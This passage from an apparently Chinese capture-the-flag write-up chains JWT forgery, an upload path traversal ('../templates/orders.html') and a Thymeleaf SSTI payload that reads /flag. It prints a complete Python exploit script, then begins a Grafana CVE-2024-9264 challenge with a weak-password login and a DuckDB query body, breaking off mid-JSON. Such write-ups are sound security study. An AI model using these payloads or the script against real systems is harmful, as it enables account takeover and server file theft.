class="code"><pre><span class="line">GET /api/user/profile</span><br><span class="line">Authorization: Bearer &lt;forged_token&gt;</span><br></pre></td></tr></table></figure><p>按 HTTP 视角把第一跳写完整，就是：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/api/user/profile</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>175.27.251.122:10006</span><br><span class="line"><span class="attribute">Authorization</span><span class="punctuation">: </span>Bearer eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ.MAYCAQACAQA</span><br></pre></td></tr></table></figure><p>这一跳如果方向对了，返回 JSON 的 <code>data.password</code> 里就会直接出现管理员密码。这里没有任何花活，就是“伪造身份 -&gt; 进 profile -&gt; 读密码”。这一步一旦成功，说明前面的判断全都坐实了：</p><ol><li>服务端会信任 JWT 里声明出来的 <code>phone=admin</code>；</li><li><code>rol\u0065</code> 会在解析时还原成 <code>role</code>；</li><li>第三段固定尾巴 <code>MAYCAQACAQA</code> 足够让校验逻辑放行。</li></ol><p>密码到手以后，立刻正常登录，把后台会话换成服务端认可的那套：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST /api/auth/login</span><br><span class="line">&#123;&quot;phone&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;&lt;leaked_password&gt;&quot;&#125;</span><br></pre></td></tr></table></figure><p>实际脚本里这一步就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">login_res = req.post(</span><br><span class="line">    <span class="string">f&quot;<span class="subst">&#123;host&#125;</span>api/auth/login&quot;</span>,</span><br><span class="line">    json=&#123;<span class="string">&quot;phone&quot;</span>: <span class="string">&quot;admin&quot;</span>, <span class="string">&quot;password&quot;</span>: pwd&#125;,</span><br><span class="line">)</span><br><span class="line">login_data = login_res.json()</span><br><span class="line">sid = login_data[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;sid&quot;</span>]</span><br><span class="line">tk = login_data[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;token&quot;</span>]</span><br></pre></td></tr></table></figure><p>返回包里会给两样关键数据：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sid</span><br><span class="line">token</span><br></pre></td></tr></table></figure><p>这一跳如果写成原始请求，大致就是：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/auth/login</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>175.27.251.122:10006</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line"><span class="language-json"><span class="punctuation">&#123;</span><span class="attr">&quot;phone&quot;</span><span class="punctuation">:</span><span class="string">&quot;admin&quot;</span><span class="punctuation">,</span><span class="attr">&quot;password&quot;</span><span class="punctuation">:</span><span class="string">&quot;&lt;leaked_password&gt;&quot;</span><span class="punctuation">&#125;</span></span></span><br></pre></td></tr></table></figure><p>这两个值要塞进 Cookie。后面真正访问后台接口时，用的是这组会话态，不是第一步伪造 JWT 的 <code>Authorization</code> 头。也就是说整条链分成两段：</p><ol><li>伪造 JWT 只负责泄露管理员密码；</li><li>正常登录拿到的 <code>sid/token</code> 才负责后面的后台操作。</li></ol><p>这里专门分成两步很重要。因为第一段 JWT 只是“拿信息”，后面的上传接口和后台页面访问都更依赖站点自己的会话体系；直接拿伪造 JWT 硬打后台，不如先把管理员密码变成一套真正的登录态，后面每一步都更稳。</p><p>接下来真正的利用点在上传接口。<br>上传点本身有目录穿越，文件名不是老老实实传菜品图，而是直接写成：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">../templates/orders.html</span><br></pre></td></tr></table></figure><p>这样文件会落到模板目录，直接覆盖订单页模板。这里选 <code>orders.html</code> 很直接，因为后台本身就有：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /admin/orders</span><br></pre></td></tr></table></figure><p>模板一旦被覆盖，只要访问订单页，就会触发服务端模板渲染。</p><p>塞进去的内容是最短一段 Thymeleaf SSTI，只做一件事：读 <code>/flag</code> 第一行。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">xmlns:th</span>=<span class="string">&quot;http://www.thymeleaf.org&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">th:text</span>=<span class="string">&quot;$&#123;new java.io.BufferedReader(new java.io.FileReader(&#x27;/flag&#x27;)).readLine()&#125;&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>这里有个很容易踩的坑：上传时发进去的必须是原始 HTML 模板，而不是带 <code>&amp;lt;</code>、<code>&amp;gt;</code> 的转义文本。<br>如果传的是转义后的字符串，服务端虽然会把文件写到 <code>orders.html</code>，但 Thymeleaf 实际看到的只是普通文本，不会把 <code>th:text</code> 当模板指令执行，这样访问 <code>/admin/orders</code> 时页面里只会出现字面量，不会真的去读 <code>/flag</code>。</p><p>这一点最好直接对照着看：</p><p>错误写法：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&quot;&quot;&quot;&amp;lt;!DOCTYPE html&amp;gt;</span></span><br><span class="line"><span class="string">&amp;lt;html xmlns:th=&quot;http://www.thymeleaf.org&quot;&amp;gt;</span></span><br><span class="line"><span class="string">&amp;lt;body&amp;gt;</span></span><br><span class="line"><span class="string">    &amp;lt;div th:text=&quot;$&#123;new java.io.BufferedReader(new java.io.FileReader(&#x27;/flag&#x27;)).readLine()&#125;&quot;&amp;gt;&amp;lt;/div&amp;gt;</span></span><br><span class="line"><span class="string">&amp;lt;/body&amp;gt;</span></span><br><span class="line"><span class="string">&amp;lt;/html&amp;gt;&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure><p>正确写法：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&quot;&quot;&quot;&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="string">&lt;html xmlns:th=&quot;http://www.thymeleaf.org&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">    &lt;div th:text=&quot;$&#123;new java.io.BufferedReader(new java.io.FileReader(&#x27;/flag&#x27;)).readLine()&#125;&quot;&gt;&lt;/div&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure><p>前一种只会把转义文本原样写进模板文件，后一种才会在访问 <code>/admin/orders</code> 时真正进入 Thymeleaf 渲染。</p><p>上传接口本体是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST /admin/api/upload</span><br></pre></td></tr></table></figure><p>这个接口除了文件，还要求带业务字段，所以表单里顺手补一组能过校验的值：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">name=Hacked</span><br><span class="line">price=0</span><br><span class="line">category=炒菜类</span><br></pre></td></tr></table></figure><p>真正关键的是 multipart 里的文件段：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">file = (&quot;../templates/orders.html&quot;, payload, &quot;text/html&quot;)</span><br></pre></td></tr></table></figure><p>如果按 HTTP 视角看，这一步的关键就三项：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST /admin/api/upload</span><br><span class="line">Cookie: sid=&lt;sid&gt;; token=&lt;token&gt;</span><br><span class="line">multipart/form-data</span><br></pre></td></tr></table></figure><p>其中业务字段只是为了过表单校验，真正起决定作用的是上传文件名带出来的目录穿越：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;../templates/orders.html&quot;</span><br><span class="line">Content-Type: text/html</span><br></pre></td></tr></table></figure><p>也就是：</p><ul><li>文件名：<code>../templates/orders.html</code></li><li>内容：恶意 Thymeleaf 模板</li><li>MIME：<code>text/html</code></li></ul><p>脚本里这一步和前面的 Cookie 会话是绑死的，关键几行就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">req.cookies.<span class="built_in">set</span>(<span class="string">&quot;sid&quot;</span>, sid)</span><br><span class="line">req.cookies.<span class="built_in">set</span>(<span class="string">&quot;token&quot;</span>, tk)</span><br><span class="line"></span><br><span class="line">file_data = &#123;<span class="string">&quot;file&quot;</span>: (<span class="string">&quot;../templates/orders.html&quot;</span>, payload, <span class="string">&quot;text/html&quot;</span>)&#125;</span><br><span class="line">form = &#123;<span class="string">&quot;name&quot;</span>: <span class="string">&quot;Hacked&quot;</span>, <span class="string">&quot;price&quot;</span>: <span class="string">&quot;0&quot;</span>, <span class="string">&quot;category&quot;</span>: <span class="string">&quot;炒菜类&quot;</span>&#125;</span><br><span class="line">upload = req.post(<span class="string">f&quot;<span class="subst">&#123;host&#125;</span>admin/api/upload&quot;</span>, files=file_data, data=form)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] upload: <span class="subst">&#123;upload.text&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>这里我专门把 <code>sid/token</code> 塞进 <code>requests.Session()</code> 的 cookie jar，而不是自己手搓 <code>Cookie:</code> 头。这样后面访问 <code>/admin/orders</code> 时会自动沿用同一套后台登录态，链路最稳定。</p><p>模板写进去以后，等一小会再访问：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /admin/orders</span><br></pre></td></tr></table></figure><p>页面渲染时会执行：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;new java.io.BufferedReader(new java.io.FileReader(&#x27;/flag&#x27;)).readLine()&#125;</span><br></pre></td></tr></table></figure><p>这样 <code>/flag</code> 第一行就会被直接写进 HTML。</p><p>这里的确认方式也很直接。上传接口返回成功只能证明“文件被收到了”，还不能证明模板真的被覆盖；只有在访问 <code>/admin/orders</code> 时，页面内容里不再是原始订单模板，而是开始出现 <code>flag{...}</code> 相关内容，才说明路径穿越和服务端模板渲染是一起打通的。</p><p>这里还有最后一个坑：订单页里本来就可能混着一条假 flag，所以提取阶段不能“见到第一个 <code>flag{...}</code> 就收工”，而是要把整页所有命中的 <code>flag{...}</code> 都抓出来，再把固定干扰项排掉，只留下新的那条真值。</p><p>固定干扰值就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;1f9b26bbbfa0f3e0e06ffb73ed37d130&#125;</span><br></pre></td></tr></table></figure><p>所以最后那一步必须写成：</p><ol><li><code>re.findall(r&quot;flag\{[^}]+\}&quot;, page.text)</code> 全量提取；</li><li><code>set(flags) - {&quot;flag{1f9b26bbbfa0f3e0e06ffb73ed37d130}&quot;}</code> 过滤假值；</li><li>输出剩下的真 flag。</li></ol><p>脚本里最后这段逻辑看起来很短，但其实正好对应了这题最后一个判断点：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">page = req.get(<span class="string">f&quot;<span class="subst">&#123;host&#125;</span>admin/orders&quot;</span>)</span><br><span class="line">flags = re.findall(<span class="string">r&quot;flag\\&#123;[^&#125;]+\\&#125;&quot;</span>, page.text)</span><br><span class="line">real_flag = <span class="built_in">set</span>(flags) - &#123;<span class="string">&quot;flag&#123;1f9b26bbbfa0f3e0e06ffb73ed37d130&#125;&quot;</span>&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> real_flag:</span><br><span class="line">    <span class="keyword">for</span> f <span class="keyword">in</span> real_flag:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] flag: <span class="subst">&#123;f&#125;</span>&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] flag not found&quot;</span>)</span><br></pre></td></tr></table></figure><p>如果这里打印不出新值，基本只会有几种情况：</p><ol><li>JWT 没混进管理员，第一步拿到的根本不是正确密码；</li><li>登录态没切到 <code>sid/token</code>，上传接口其实没用管理员会话在跑；</li><li><code>../templates/orders.html</code> 没真正覆盖到模板目录；</li><li>页面里只出现了固定那条假 flag，说明读文件链没有完整打通。</li></ol><p>手工确认完链路以后，最后整理成了一把梭脚本，顺序就是：伪造 JWT 泄露密码 -&gt; 正常登录拿 <code>sid/token</code> -&gt; 上传覆盖模板 -&gt; 访问订单页触发 SSTI -&gt; 过滤假 flag。下面这份脚本基本就是当时直接跑的版本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="comment"># 基础地址</span></span><br><span class="line">host = <span class="string">&quot;http://175.27.251.122:10006/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># URL安全Base64编码</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encode</span>(<span class="params">data</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">isinstance</span>(data, <span class="built_in">str</span>):</span><br><span class="line">        data = data.encode()</span><br><span class="line">    <span class="keyword">return</span> base64.urlsafe_b64encode(data).decode().rstrip(<span class="string">&quot;=&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 主执行函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run</span>():</span><br><span class="line">    req = requests.Session()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 构造JWT伪造令牌</span></span><br><span class="line">    head = <span class="string">&#x27;&#123;&quot;alg&quot;:&quot;ES256&quot;,&quot;typ&quot;:&quot;JWT&quot;&#125;&#x27;</span></span><br><span class="line">    body = <span class="string">&#x27;&#123;&quot;phone&quot;:&quot;admin&quot;,&quot;rol\\u0065&quot;:&quot;admin&quot;,&quot;sid&quot;:&quot;exp&quot;&#125;&#x27;</span></span><br><span class="line">    h_enc = encode(head)</span><br><span class="line">    b_enc = encode(body)</span><br><span class="line">    token = <span class="string">f&quot;<span class="subst">&#123;h_enc&#125;</span>.<span class="subst">&#123;b_enc&#125;</span>.MAYCAQACAQA&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 获取泄露密码</span></span><br><span class="line">    res = req.get(</span><br><span class="line">        <span class="string">f&quot;<span class="subst">&#123;host&#125;</span>api/user/profile&quot;</span>,</span><br><span class="line">        headers=&#123;<span class="string">&quot;Authorization&quot;</span>: <span class="string">f&quot;Bearer <span class="subst">&#123;token&#125;</span>&quot;</span>&#125;,</span><br><span class="line">    )</span><br><span class="line">    pwd = res.json()[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;password&quot;</span>]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] leaked password: <span class="subst">&#123;pwd&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 登录获取会话凭证</span></span><br><span class="line">    login_res = req.post(</span><br><span class="line">        <span class="string">f&quot;<span class="subst">&#123;host&#125;</span>api/auth/login&quot;</span>,</span><br><span class="line">        json=&#123;<span class="string">&quot;phone&quot;</span>: <span class="string">&quot;admin&quot;</span>, <span class="string">&quot;password&quot;</span>: pwd&#125;,</span><br><span class="line">    )</span><br><span class="line">    login_data = login_res.json()</span><br><span class="line">    sid = login_data[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;sid&quot;</span>]</span><br><span class="line">    tk = login_data[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;token&quot;</span>]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] sid: <span class="subst">&#123;sid&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 设置Cookie</span></span><br><span class="line">    req.cookies.<span class="built_in">set</span>(<span class="string">&quot;sid&quot;</span>, sid)</span><br><span class="line">    req.cookies.<span class="built_in">set</span>(<span class="string">&quot;token&quot;</span>, tk)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># SSTI恶意模板（读取flag）</span></span><br><span class="line">    payload = <span class="string">&quot;&quot;&quot;&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="string">&lt;html xmlns:th=&quot;http://www.thymeleaf.org&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">    &lt;div th:text=&quot;$&#123;new java.io.BufferedReader(new java.io.FileReader(&#x27;/flag&#x27;)).readLine()&#125;&quot;&gt;&lt;/div&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 上传恶意文件</span></span><br><span class="line">    file_data = &#123;<span class="string">&quot;file&quot;</span>: (<span class="string">&quot;../templates/orders.html&quot;</span>, payload, <span class="string">&quot;text/html&quot;</span>)&#125;</span><br><span class="line">    form = &#123;<span class="string">&quot;name&quot;</span>: <span class="string">&quot;Hacked&quot;</span>, <span class="string">&quot;price&quot;</span>: <span class="string">&quot;0&quot;</span>, <span class="string">&quot;category&quot;</span>: <span class="string">&quot;炒菜类&quot;</span>&#125;</span><br><span class="line">    upload = req.post(<span class="string">f&quot;<span class="subst">&#123;host&#125;</span>admin/api/upload&quot;</span>, files=file_data, data=form)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] upload: <span class="subst">&#123;upload.text&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 访问触发SSTI获取flag</span></span><br><span class="line">    time.sleep(<span class="number">1</span>)</span><br><span class="line">    page = req.get(<span class="string">f&quot;<span class="subst">&#123;host&#125;</span>admin/orders&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 提取真实flag</span></span><br><span class="line">    flags = re.findall(<span class="string">r&quot;flag\&#123;[^&#125;]+\&#125;&quot;</span>, page.text)</span><br><span class="line">    real_flag = <span class="built_in">set</span>(flags) - &#123;<span class="string">&quot;flag&#123;1f9b26bbbfa0f3e0e06ffb73ed37d130&#125;&quot;</span>&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> real_flag:</span><br><span class="line">        <span class="keyword">for</span> f <span class="keyword">in</span> real_flag:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] flag: <span class="subst">&#123;f&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;[-] flag not found&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    run()</span><br></pre></td></tr></table></figure><p>如果只看这份脚本，有几个点一定要盯死，不然很容易以为只是“普通后台上传题”：</p><ul><li><code>rol\\u0065</code>：确保发出去的是 Unicode 转义形式；</li><li><code>MAYCAQACAQA</code>：固定拼到 JWT 第三段；</li><li><code>Authorization: Bearer &lt;token&gt;</code>：只在泄露密码那一步使用；</li><li><code>req.cookies.set(&quot;sid&quot;, sid)</code> 和 <code>req.cookies.set(&quot;token&quot;, tk)</code>：后续后台操作改走服务端会话；</li><li><code>(&quot;../templates/orders.html&quot;, payload, &quot;text/html&quot;)</code>：目录穿越 + 模板覆盖同时完成；</li><li><code>set(flags) - {fake_flag}</code>：把订单页里的固定假值剔掉。</li></ul><p>如果手工梳理整个利用过程，顺序就是下面这五步，没有哪一步能省：</p><ol><li>自构 JWT：<code>{&quot;phone&quot;:&quot;admin&quot;,&quot;rol\u0065&quot;:&quot;admin&quot;,&quot;sid&quot;:&quot;exp&quot;}</code>，第三段固定拼 <code>MAYCAQACAQA</code>；</li><li>带 <code>Authorization: Bearer &lt;token&gt;</code> 请求 <code>/api/user/profile</code>，拿到管理员密码；</li><li>用泄露密码正常登录 <code>/api/auth/login</code>，取回 <code>sid</code> 和 <code>token</code>，改走 Cookie 会话；</li><li>向 <code>/admin/api/upload</code> 上传 <code>../templates/orders.html</code>，内容是读 <code>/flag</code> 的 Thymeleaf 模板；</li><li>访问 <code>/admin/orders</code>，提取页面里所有 <code>flag{...}</code>，剔除固定假值，剩下的就是真 flag。</li></ol><p>最后页面里出现新的 <code>flag{...}</code>，并且不是那条固定干扰串，就说明链条已经完整跑通：管理员资料泄露成功、后台登录成功、上传路径穿越成功、模板渲染成功、SSTI 读文件成功。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;sanjiu&#125;</span><br></pre></td></tr></table></figure><h2 id="real-Grafana"><a href="#real-Grafana" class="headerlink" title="real_Grafana"></a>real_Grafana</h2><ul><li>类型：Web</li><li>得分：471</li><li>时间：06&#x2F;06 13:29:59</li></ul><p>这题起手先看页面而不是急着打接口。打开目标以后，界面明显在仿 Grafana 11 的 Explore &#x2F; SQL Expressions 组件，能看到几样关键东西：</p><ul><li>登录入口：<code>/api/login</code></li><li>当前模块：<code>Explore / SQL Expressions</code></li><li>数据源：<code>grafana-sql</code></li><li>页面里还能看到 <code>/api/run-expression</code>、<code>/api/me</code>、<code>/api/logout</code></li></ul><p>看到 Grafana 11 和 SQL Expressions 这两个关键词放在一起，第一反应就该往 <code>CVE-2024-9264</code> 上靠。这个洞的关键不在普通面板查询，而在 Grafana 11 引入的实验性 SQL Expressions 会把用户输入直接交给 DuckDB 执行，一旦没有过滤，能做的事就不止查数据了，而是能直接读本地文件，甚至执行系统命令。</p><p>正式打之前先把登录态拿下来。这里没有复杂认证，直接对 <code>/api/login</code> 试一轮常见弱口令，最后命中的是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">editor : editor123</span><br></pre></td></tr></table></figure><p>直接发包就是：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST http://175.27.251.122:10025/api/login ^</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> ^</span><br><span class="line">  -d <span class="string">&quot;&#123;\&quot;username\&quot;:\&quot;editor\&quot;,\&quot;password\&quot;:\&quot;editor123\&quot;&#125;&quot;</span></span><br></pre></td></tr></table></figure><p>返回里能看到：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;ok&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span><span class="attr">&quot;role&quot;</span><span class="punctuation">:</span><span class="string">&quot;editor&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>这一步有两个确认点：</p><ol><li>这套口令确实能拿到可用会话；</li><li>当前角色虽然只是 <code>editor</code>，但已经足够进 SQL Expressions 这条链。</li></ol><p>接下来就别被页面上的假接口带偏。页面里那个 <code>/api/run-expression</code> 看起来很像入口，但实际怎么喂都只回：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">duckdb parser error: invalid query</span><br></pre></td></tr></table></figure><p>这条路不用再浪费时间。真正要走的是 Grafana 标准查询接口：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST /api/ds/query?ds_type=expr&amp;expression=true&amp;requestId=Q100</span><br></pre></td></tr></table></figure><p>请求体结构也不是随便拼字符串，而是要按表达式查询那套格式发：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;queries&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;refId&quot;</span><span class="punctuation">:</span> <span class="string">&quot;B&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;datasource&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;expr&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;uid&quot;</span><span class="punctuation">:</span> <span class="string">&quot;expr&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Expression&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;sql&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;hide&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;expression&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;DuckDB SQL&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;window&quot;</span><span class="punctuation">:</span> 